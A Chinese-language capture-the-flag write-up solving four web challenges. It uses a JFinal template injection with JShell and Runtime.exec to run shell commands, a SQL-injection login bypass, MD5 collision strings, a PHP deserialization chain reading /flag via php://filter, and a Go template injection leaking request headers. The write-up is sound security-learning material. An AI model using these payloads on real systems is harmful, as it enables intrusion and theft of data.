HGame Mini Writeup
Enjoy Coffee
本题是一个 Jar 文件,使用了 JFinal 的模版引擎,逆向后 render 代码如下
1 | public class indexController { |
看到一个 setStaticMethodExpression(true),提示我们使用静态方法,然后看到了一个同样是 JFinal 的 CTF 题,得知构造 JShell 然后再通过 getRuntime().exec() 来执行 Shell命令的方法。通过 ChatGPT,构造出如下字符串 (其实题目改之前我就知道 :flag 在根目录下😈)
#((jdk.jshell.JShell::create()).eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("ls /").getInputStream()).useDelimiter("\\A").next()'))
获取到如下输出:
[SnippetEvent(snippet=Snippet:VariableKey($1)#1-new java.util.Scanner(java.lang.Runtime.getRuntime().exec("ls /").getInputStream()).useDelimiter("\\A").next(),previousStatus=NONEXISTENT,status=VALID,isSignatureChange=true,causeSnippetnullvalue="app\nbF14g_asg7f8as9\nbash\nbin\nboot\ndev\netc\nflag\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nreadflag\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n")]
可以看到根目录下有 bF14g_asg7f8as9,readflag,flag,这几个奇怪🤔的文件,修改命令,一个个 cat 过去。
最终在 bF14g_asg7f8as9 中获取到了 flag🎊。
Vidar Mail
题目下载一看,在 login 函数下看到了喜闻乐见的 sql注入,可注入的语句如下
1 | query := "SELECT username FROM users WHERE username = '" + user.Username + "' AND password = '" + user.Password + "'" |
然后目光来到 flagchecker 函数内,貌似需要满足一定的条件(用户为 admin,发的邮件内容为 where is my flag,收件人为 flagholder)才能获取到 flag
1 | query := "SELECT id FROM emails WHERE sender = 'admin' AND body = 'where is my flag' AND receivers ='flagholder'" |
于是开始通过注入登陆 admin 账号,密码为' or '1'='1。登入后开始发送邮件。
然后打开 /check 页面,获取到了 flag🎊。
My Notebook
打开之后用开发者工具看一下,把网页源码藏在了 /www.zip 下。看到如下登陆代码:
1 | if ($_SERVER['REQUEST_METHOD'] == 'POST'){ |
告诉我们通过 POST 请求,并且两个 code 要不一样,但是 md5 一样,网上随便找个 md5 碰撞的字符串:s878926199a 和 s155964671a。
然后看到一个 save.php 和 get.php 用来存储和读取数据的,但是读取的时候有如下语句:
1 | if (is_serialized($total[$i])) { |
会将存储的数据 unserialize,这就给了我们执行代码的机会。在 mainclass 中有许多奇怪的类:
1 |
|
HereWeGo 类会在解构的时候执行 try 中的 gogogo 方法,而 GoGoGo 类不管调用什么,都会返回 go 中的 web 成员。而 Evil 类在获取成员时会读取 file,但是其中有一个正则过滤,导致我们无法直接读取 flag,但是我们可以使用 php 内置的 php://filter/read=convert.base64-encode/resource=/flag 来将 flag 以 base64 的形式输出。
构造以下代码:
1 | $evil = new Evil("php://filter/read=convert.base64-encode/resource=/flag"); |
最终获取到了 flag。
Go AHead
是 gin 中的模板注入。看到程序往 Request 中加了 flag,构造模板读取 Request:{{.Request}}。输出:
1 | {GET /?tmpl=%7B%7B.Request%7D%7D HTTP/1.1 1 1 map[Accept:[*/*] Accept-Encoding:[gzip, deflate, br] Postman-Token:[d1aae680-4970-4078-9819-c9d5d03df0fe] User-Agent:[PostmanRuntime/7.41.2] Yourgift:[VIDAR{555bd130523df71e332784955363a940f36bc2e8} |
直接获取到 flag。